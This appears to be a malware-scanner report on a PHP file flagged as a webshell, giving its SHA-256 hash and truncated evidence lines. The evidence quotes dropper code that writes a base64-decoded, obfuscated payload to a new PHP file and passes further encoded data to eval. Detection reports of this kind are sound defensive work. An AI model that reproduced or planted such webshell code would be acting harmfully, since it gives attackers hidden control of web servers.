Hostile ^99% php Download

85dd88f65aca5e6fe756b52f424ac8f73c5ba8e8f45c087815db003fa2bfd7d9.php

php webshell containing base64 encoded payloadEncoded content decoded: base64

SHA-25685dd88f65aca5e6fe756b52f424ac8f73c5ba8e8f45c087815db003fa2bfd7d9

MaleculeMdTh

Evidence

Encoded content decoded: base64 line 1

1<?php $r=dirname(__FILE__)."/fm_27156.php";$w=@file_put_contents($r,base64_decode("PD9waHANCg0KJGkxaT0nPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQoJT2JmdXNjYXRpb24gcHJvdmlkZWQgYnkgVW5rbm93bmRldmljZTY0IC0gRnJlZSBPbmxpbmUgUEhQIE9iZnVzY2F0b3INCgkJCQlodHRwOi8vd3d3LnVkNjQuY29tLw0KPT09PT …

php webshell containing base64 encoded payload line 1

1:26312… VG9Sd0pRdy9GTzR5U0tNOVV5akQ1N0RpMUFJYmJyZGJHellQWTNFS2xNRU44TUhnZ3AyQlovdi9NY0J1Tlp6aVFWUHNETDVCdzZWb2oyNEE5QXJDNi8valI9IikpKTtAZXZhbCgkdUQ2NF9jMG0oJyRrMHhFbT0iTUlLb29nZjRSQzJJYmh1UXY3a0R3aDB4WE5kZllNVGNZZEVTcGJuQlFZOEhtZDVmSGRhR3lJZ3FpYTdVcXY4QysyTkw1Q05abTV4bVVZMG9KWUdjQzcwU1Q3NWRmSlBUOG40TDA5cGx6c2RJRlQvR2pKUEVCWUJCVmx2dGgwYVVpSUJRYVFkL2I3dittcXdGZXNORkdsRTBlRWxLU1U5cmhDY0lTcFdjZ1RqZ …